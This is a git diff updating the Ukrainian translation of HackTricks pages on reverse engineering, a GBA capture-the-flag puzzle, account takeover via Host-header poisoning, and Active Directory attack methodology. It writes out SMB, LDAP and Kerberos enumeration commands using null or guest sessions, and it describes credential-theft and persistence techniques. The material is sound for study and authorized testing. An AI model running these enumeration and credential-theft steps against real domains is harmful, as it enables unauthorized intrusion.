Це необхідно, оскільки якщо ви цього не зробите, під час **runtime** до коду буде застосовано кілька **оптимізацій**, і може статися так, що під час налагодження **break-point ніколи не спрацьовує** або деякі **змінні не існують**.
Це необхідно, оскільки якщо ви цього не зробите, під час **runtime** до коду буде застосовано кілька **optimisations**, і може статися так, що під час налагодження **break-point ніколи не буде досягнуто** або деякі **змінні не існують**.
Потім, якщо ваш .NET додаток запускається через **IIS**, ви можете **перезапустити** його за допомогою:
Потім, якщо ваша .NET програма виконується через **IIS**, ви можете **перезапустити** її за допомогою:
```
iisreset /noforce
```
@ -92,13 +92,13 @@ iisreset /noforce
![](<../../images/image (113).png>)
Тепер, коли ми налагоджуємо процес, час зупинити його і завантажити всі модулі. Спочатку натисніть _Debug >> Break All_, а потім натисніть _**Debug >> Windows >> Modules**_:
Тепер, коли ми налагоджуємо процес, час зупинити його і завантажити всі модулі. Спочатку натисніть на _Debug >> Break All_, а потім натисніть на _**Debug >> Windows >> Modules**_:
![](<../../images/image (132).png>)
![](<../../images/image (834).png>)
Натисніть будь-який модуль на **Modules** і виберіть **Open All Modules**:
Натисніть на будь-який модуль у **Modules** і виберіть **Open All Modules**:
![](<../../images/image (922).png>)
@ -152,21 +152,23 @@ cheat-engine.md
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) - це фронт-енд/інструмент реверс-інжинірингу для GNU Project Debugger (GDB), зосереджений на іграх. Однак його можна використовувати для будь-яких завдань, пов'язаних з реверс-інжинірингом.
[**Decompiler Explorer**](https://dogbolt.org/) - це веб-фронт-енд для кількох декомпілерів. Ця веб-служба дозволяє вам порівнювати вихідні дані різних декомпілерів на малих виконуваних файлах.
[**Decompiler Explorer**](https://dogbolt.org/) - це веб-фронт-енд для кількох декомпіляторів. Ця веб-служба дозволяє вам порівнювати вихідні дані різних декомпіляторів на малих виконуваних файлах.
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes
### Налагодження shellcode з blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **виділить** **shellcode** в області пам'яті, **вкаже** вам **адресу пам'яті**, де shellcode був виділений, і **зупинить** виконання.\
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **виділить** **shellcode** в області пам'яті, **вкаже** вам **адресу пам'яті**, де був виділений shellcode, і **зупинить** виконання.\
Потім вам потрібно **підключити налагоджувач** (Ida або x64dbg) до процесу і поставити **точку зупинки на вказаній адресі пам'яті** і **продовжити** виконання. Таким чином, ви будете налагоджувати shellcode.
Сторінка релізів на github містить zip-архіви з компільованими релізами: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Ви можете знайти трохи модифіковану версію Blobrunner за наступним посиланням. Щоб скомпілювати її, просто **створіть проект C/C++ у Visual Studio Code, скопіюйте та вставте код і зберіть його**.
Ви можете знайти трохи модифіковану версію Blobrunner за наступним посиланням. Щоб скомпілювати її, просто **створіть проект C/C++ у Visual Studio Code, скопіюйте та вставте код і збудуйте його**.
{{#ref}}
blobrunner.md
@ -174,7 +176,7 @@ blobrunner.md
### Налагодження shellcode з jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) дуже схожий на blobrunner. Він **виділить** **shellcode** в області пам'яті і почне **вічний цикл**. Вам потрібно **підключити налагоджувач** до процесу, **натиснути старт, почекати 2-5 секунд і натиснути стоп**, і ви опинитеся всередині **вічного циклу**. Перейдіть до наступної інструкції вічного циклу, оскільки це буде виклик до shellcode, і врешті-решт ви опинитеся виконуючи shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) дуже схожий на blobrunner. Він **виділить** **shellcode** в області пам'яті і запустить **вічний цикл**. Вам потрібно **підключити налагоджувач** до процесу, **натиснути старт, почекати 2-5 секунд і натиснути стоп**, і ви опинитеся всередині **вічного циклу**. Перейдіть до наступної інструкції вічного циклу, оскільки це буде виклик до shellcode, і врешті-решт ви опинитеся виконуючи shellcode.
![](<../../images/image (509).png>)
@ -194,7 +196,7 @@ blobrunner.md
![](<../../images/image (387).png>)
Ви можете побачити стек, наприклад, всередині шістнадцяткового дампу:
Ви можете бачити стек, наприклад, всередині шістнадцяткового дампу:
![](<../../images/image (186).png>)
@ -278,7 +280,7 @@ apt-get install libz3-dev
Якщо ви отримали **бінарний файл** гри GBA, ви можете використовувати різні інструменти для **емуляції** та **налагодження**:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Завантажте версію для налагодження_) - Містить налагоджувач з інтерфейсом
- [**mgba** ](https://mgba.io) - Містить CLI налагоджувач
- [**mgba** ](https://mgba.io)- Містить CLI налагоджувач
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Плагін Ghidra
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Плагін Ghidra
@ -338,7 +340,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Останнє if перевіряє, чи **`uVar4`** знаходиться в **останніх ключах** і не є поточним ключем, також званим відпусканням кнопки (поточний ключ зберігається в **`uVar1`**).
Останнє if перевіряє, чи **`uVar4`** знаходиться в **останніх ключах** і не є поточним ключем, також це називається відпусканням кнопки (поточний ключ зберігається в **`uVar1`**).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -371,8 +373,8 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
- По-перше, його порівнюють з **значенням 4** (**SELECT** кнопка): У завданні ця кнопка очищає екран.
- Потім його порівнюють з **значенням 8** (**START** кнопка): У завданні це перевіряє, чи є код дійсним для отримання прапора.
- У цьому випадку змінна **`DAT_030000d8`** порівнюється з 0xf3, і якщо значення однакове, виконується деякий код.
- У будь-яких інших випадках перевіряється деякий cont (`DAT_030000d4`). Це cont, оскільки він додає 1 відразу після входу в код.\
**Якщо** менше 8, виконується щось, що пов'язане з **додаванням** значень до \*\*`DAT_030000d8` \*\* (в основному це додавання значень натиснутих клавіш у цю змінну, поки cont менше 8).
- У будь-яких інших випадках перевіряється деякий лічильник (`DAT_030000d4`). Це лічильник, оскільки він додає 1 відразу після входу в код.\
**Якщо** менше 8, виконується щось, що пов'язане з **додаванням** значень до \*\*`DAT_030000d8` \*\* (в основному це додає значення натиснуті клавіші в цю змінну, поки лічильник менше 8).
Отже, у цьому завданні, знаючи значення кнопок, вам потрібно було **натиснути комбінацію з довжиною менше 8, щоб отримана сума дорівнювала 0xf3.**
@ -380,9 +382,11 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## Courses
## Курси
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Бінарна деобфускація)

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

View File

@ -48,9 +48,11 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## ПЕТУХ
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah

View File

@ -5,12 +5,14 @@
- **Простий Список:** Просто список, що містить запис в кожному рядку
- **Файл Часу Виконання:** Список, що читається під час виконання (не завантажується в пам'ять). Для підтримки великих списків.
- **Модифікація Регістру:** Застосування деяких змін до списку рядків (без змін, до нижнього регістру, до ВЕРХНЬОГО, до Правильного імені - перша буква велика, решта - маленькі, до Правильного Імені - перша буква велика, решта залишається такою ж).
- **Числа:** Генерація чисел від X до Y з використанням кроку Z або випадковим чином.
- **Числа:** Генерація чисел від X до Y з кроком Z або випадковим чином.
- **Брутфорсер:** Набір символів, мінімальна та максимальна довжина.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Пейлоад для виконання команд та отримання виходу через DNS запити до burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -4,7 +4,7 @@
### Заголовок Host
Декілька разів бекенд довіряє **заголовку Host** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для відправки скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку Host. Потім ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Кілька разів бекенд довіряє **заголовку Host** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для відправки скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку Host. Потім ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Зверніть увагу, що можливо, вам навіть не потрібно чекати, поки користувач натисне на посилання для скидання пароля, щоб отримати токен, оскільки, можливо, навіть **фільтри спаму або інші проміжні пристрої/боти натиснуть на нього для аналізу**.
@ -20,15 +20,17 @@
### Перехоплення електронних листів
Зареєструйте електронну пошту, перед підтвердженням змініть електронну пошту, тоді, якщо новий підтверджувальний електронний лист буде надіслано на першу зареєстровану електронну пошту, ви зможете перехопити будь-яку електронну пошту. Або, якщо ви можете активувати другу електронну пошту, підтверджуючи першу, ви також можете перехопити будь-який обліковий запис.
Зареєструйте електронну пошту, перед підтвердженням змініть електронну пошту, тоді, якщо новий електронний лист для підтвердження буде надіслано на першу зареєстровану електронну пошту, ви зможете перехопити будь-яку електронну пошту. Або, якщо ви можете активувати другу електронну пошту, підтверджуючи першу, ви також можете перехопити будь-який обліковий запис.
### Доступ до внутрішнього сервісного столу компаній, що використовують Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Метод TRACE
Розробники можуть забути вимкнути різні параметри налагодження в продуктивному середовищі. Наприклад, HTTP `TRACE` метод призначений для діагностичних цілей. Якщо він увімкнений, веб-сервер відповість на запити, які використовують метод `TRACE`, відображаючи в відповіді точний запит, що був отриманий. Ця поведінка часто безпечна, але іноді призводить до розкриття інформації, такої як назва внутрішніх заголовків аутентифікації, які можуть бути додані до запитів зворотними проксі.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
Розробники можуть забути вимкнути різні параметри налагодження в продуктивному середовищі. Наприклад, HTTP `TRACE` метод призначений для діагностичних цілей. Якщо він увімкнений, веб-сервер відповість на запити, які використовують метод `TRACE`, відображаючи у відповіді точний запит, що був отриманий. Ця поведінка часто безпечна, але іноді призводить до розкриття інформації, такої як назва внутрішніх заголовків аутентифікації, які можуть бути додані до запитів зворотними проксі.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -29,12 +29,12 @@
### **Автентифікація Kerberos**
Щоб дізнатися, як **атакувати AD**, вам потрібно **дуже добре зрозуміти** **процес автентифікації Kerberos**.\
Щоб навчитися, як **атакувати AD**, вам потрібно **дуже добре розуміти** **процес автентифікації Kerberos**.\
[**Прочитайте цю сторінку, якщо ви ще не знаєте, як це працює.**](kerberos-authentication.md)
## Читальний лист
## Чек-лист
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути, які команди ви можете виконати для перерахунку/експлуатації AD.
Ви можете відвідати [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко ознайомитися з командами, які ви можете виконати для перерахунку/експлуатації AD.
## Розвідка Active Directory (без облікових даних/сесій)
@ -42,14 +42,14 @@
- **Пентестити мережу:**
- Сканувати мережу, знаходити машини та відкриті порти та намагатися **експлуатувати вразливості** або **витягувати облікові дані** з них (наприклад, [принтери можуть бути дуже цікавими цілями](ad-information-in-printers.md)).
- Перерахунок DNS може надати інформацію про ключові сервери в домені, такі як веб, принтери, спільні ресурси, vpn, медіа тощо.
- Перерахунок DNS може надати інформацію про ключові сервери в домені, такі як веб, принтери, спільні ресурси, VPN, медіа тощо.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Ознайомтеся з Загальною [**Методологією пентестингу**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити.
- **Перевірте наявність доступу для null та Guest на smb-сервісах** (це не спрацює на сучасних версіях Windows):
- **Перевірте наявність доступу без облікових даних та Гостя на smb-сервісах** (це не спрацює на сучасних версіях Windows):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Більш детальний посібник про те, як перерахувати SMB-сервер, можна знайти тут:
- Більш детальну інструкцію про те, як перерахувати SMB-сервер, можна знайти тут:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
@ -57,7 +57,7 @@
- **Перерахувати Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Більш детальний посібник про те, як перерахувати LDAP, можна знайти тут (зверніть **особливу увагу на анонімний доступ**):
- Більш детальну інструкцію про те, як перерахувати LDAP, можна знайти тут (зверніть **особливу увагу на анонімний доступ**):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -77,7 +77,7 @@
### Перерахунок користувачів
- **Анонімний SMB/LDAP enum:** Перевірте сторінки [**пентестингу SMB**](../../network-services-pentesting/pentesting-smb/) та [**пентестингу LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи код помилки **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викликатимуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -127,13 +127,13 @@ password-spraying.md
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### NTML Relay
### NTML реле
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Ви можете спробувати примусити NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* для отримання доступу до середовища AD.
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Ви можете спробувати примусити NTML [**реле атаки**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* для отримання доступу до середовища AD.
### Вкрасти NTLM креденціали
Якщо ви можете **отримати доступ до інших ПК або загальних ресурсів** з **нульовим або гостьовим користувачем**, ви можете **розмістити файли** (наприклад, SCF файл), які, якщо їх якось отримають доступ, **запустять NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM челендж** для злому:
Якщо ви можете **отримати доступ до інших ПК або загальних ресурсів** з **нульовим або гостьовим користувачем**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось отримають доступ, **запустять NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM челендж** для злому:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -141,9 +141,9 @@ password-spraying.md
## Перерахунок Active Directory ЗА допомогою облікових даних/сесії
Для цього етапу вам потрібно мати **компрометовані облікові дані або сесію дійсного облікового запису домену.** Якщо у вас є дійсні облікові дані або оболонка як доменний користувач, **вам слід пам'ятати, що варіанти, наведені раніше, все ще є варіантами для компрометації інших користувачів**.
Для цього етапу вам потрібно мати **компрометовані облікові дані або сесію дійсного облікового запису домену.** Якщо у вас є дійсні облікові дані або оболонка як доменний користувач, **ви повинні пам'ятати, що варіанти, наведені раніше, все ще є варіантами для компрометації інших користувачів**.
Перед початком аутентифікованого перерахунку вам слід знати, що таке **проблема подвійного стрибка Kerberos.**
Перед початком аутентифікованого перерахунку ви повинні знати, що таке **проблема подвійного стрибка Kerberos.**
{{#ref}}
kerberos-double-hop-problem.md
@ -162,16 +162,16 @@ kerberos-double-hop-problem.md
- **Інші автоматизовані інструменти для перерахунку AD:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS записи AD**](ad-dns-records.md), оскільки вони можуть містити цікаву інформацію.
- **Інструмент з GUI**, який ви можете використовувати для перерахунку каталогу, - це **AdExplorer.exe** з **SysInternal** Suite.
- Ви також можете шукати в LDAP базі даних за допомогою **ldapsearch**, щоб шукати облікові дані в полях _userPassword_ & _unixUserPassword_, або навіть для _Description_. cf. [Пароль в коментарі користувача AD на PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) для інших методів.
- Ви також можете шукати в базі даних LDAP за допомогою **ldapsearch**, щоб шукати облікові дані в полях _userPassword_ та _unixUserPassword_, або навіть для _Description_. cf. [Пароль в коментарі користувача AD на PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) для інших методів.
- Якщо ви використовуєте **Linux**, ви також можете перерахувати домен, використовуючи [**pywerview**](https://github.com/the-useless-one/pywerview).
- Ви також можете спробувати автоматизовані інструменти, такі як:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Отримання всіх користувачів домену**
- **Витягування всіх користувачів домену**
Дуже легко отримати всі імена користувачів домену з Windows (`net user /domain`, `Get-DomainUser` або `wmic useraccount get name,sid`). У Linux ви можете використовувати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" <DC IP>`
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Доступайтеся до посилань (переважно до тих, що стосуються cmd, powershell, powerview і BloodHound), навчіться перераховувати домен і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент для знаходження вашого шляху до DA або для вирішення, що нічого не можна зробити.
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Перейдіть за посиланнями (в основному на cmd, powershell, powerview і BloodHound), дізнайтеся, як перерахувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
### Kerberoast
@ -189,9 +189,9 @@ kerberoast.md
### Підвищення локальних привілеїв
Якщо ви компрометували облікові дані або сесію як звичайний доменний користувач і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, вам слід спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з локальними привілеями адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
Якщо ви компрометували облікові дані або сесію як звичайний доменний користувач і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з локальними привілеями адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
У цій книзі є повна сторінка про [**локальне підвищення привілеїв у Windows**](../windows-local-privilege-escalation/) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
У цій книзі є повна сторінка про [**підвищення локальних привілеїв у Windows**](../windows-local-privilege-escalation/) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Поточні сесійні квитки
@ -215,7 +215,7 @@ kerberoast.md
### Вкрасти NTLM креденціали
Якщо ви можете **доступитися до інших ПК або спільних ресурсів**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **викличуть NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
Якщо ви можете **доступитися до інших ПК або спільних ресурсів**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **запустять NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -317,9 +317,9 @@ resource-based-constrained-delegation.md
acl-persistence-abuse/
{{#endref}}
### Зловживання службою спулера принтерів
### Зловживання службою черги друку
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **підвищення привілеїв**.
Виявлення **служби черги, що слухає** в домені може бути **зловжито** для **отримання нових облікових даних** та **підвищення привілеїв**.
{{#ref}}
printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Зловживання сесіями третіх сторін
Якщо **інші користувачі** **доступають** до **скомпрометованої** машини, можливо **збирати облікові дані з пам'яті** і навіть **впроваджувати маяки в їхні процеси** для видачі себе за них.\
Якщо **інші користувачі** **доступають** до **скомпрометованого** комп'ютера, можливо **збирати облікові дані з пам'яті** і навіть **впроваджувати маяки в їхні процеси** для видачі себе за них.\
Зазвичай користувачі отримують доступ до системи через RDP, тому ось як виконати кілька атак на сесії RDP третіх сторін:
{{#ref}}
@ -344,7 +344,7 @@ laps.md
### Крадіжка Сертифікатів
**Збір сертифікатів** з скомпрометованої машини може бути способом підвищення привілеїв у середовищі:
**Збір сертифікатів** з скомпрометованого комп'ютера може бути способом підвищення привілеїв у середовищі:
{{#ref}}
ad-certificates/certificate-theft.md
@ -401,7 +401,7 @@ silver-ticket.md
### Золотий Квиток
Атака **Золотого Квитка** передбачає, що зловмисник отримує доступ до **NTLM хешу облікового запису krbtgt** в середовищі Active Directory (AD). Цей обліковий запис є особливим, оскільки використовується для підписання всіх **квитків надання квитків (TGT)**, які є необхідними для аутентифікації в мережі AD.
**Атака Золотого Квитка** передбачає, що зловмисник отримує доступ до **NTLM хешу облікового запису krbtgt** в середовищі Active Directory (AD). Цей обліковий запис є особливим, оскільки використовується для підписання всіх **квитків надання квитків (TGT)**, які є необхідними для аутентифікації в мережі AD.
Якщо зловмисник отримує цей хеш, він може створити **TGT** для будь-якого облікового запису, який вибере (атака Срібного Квитка).
@ -425,9 +425,9 @@ diamond-ticket.md
ad-certificates/account-persistence.md
{{#endref}}
### **Постійність Сертифікатів в Домені**
### **Постійність Домену Сертифікатів**
**Використання сертифікатів також можливе для підтримки високих привілеїв у домені:**
**Використання сертифікатів також можливе для збереження високих привілеїв у домені:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### Група AdminSDHolder
Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (таких як Domain Admins та Enterprise Admins), застосовуючи стандартний **Список Контролю Доступу (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Однак цю функцію можна експлуатувати; якщо зловмисник змінює ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримує значний контроль над усіма привілейованими групами. Ця міра безпеки, призначена для захисту, може таким чином обернутися проти, дозволяючи неналежний доступ, якщо не контролювати її.
Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (таких як Domain Admins та Enterprise Admins), застосовуючи стандартний **Список Контролю Доступу (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Однак цю функцію можна експлуатувати; якщо зловмисник змінює ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримує значний контроль над усіма привілейованими групами. Ця міра безпеки, призначена для захисту, може таким чином обернутися проти, дозволяючи неналежний доступ, якщо не контролювати.
[**Більше інформації про групу AdminDSHolder тут.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### Постійність ACL
Ви можете **надати** деякі **спеціальні привілеї** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **підвищити привілеї в майбутньому**.
Ви могли б **надати** деякі **спеціальні привілеї** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **підвищити привілеї в майбутньому**.
{{#ref}}
acl-persistence-abuse/
@ -457,7 +457,7 @@ acl-persistence-abuse/
### Описники Безпеки
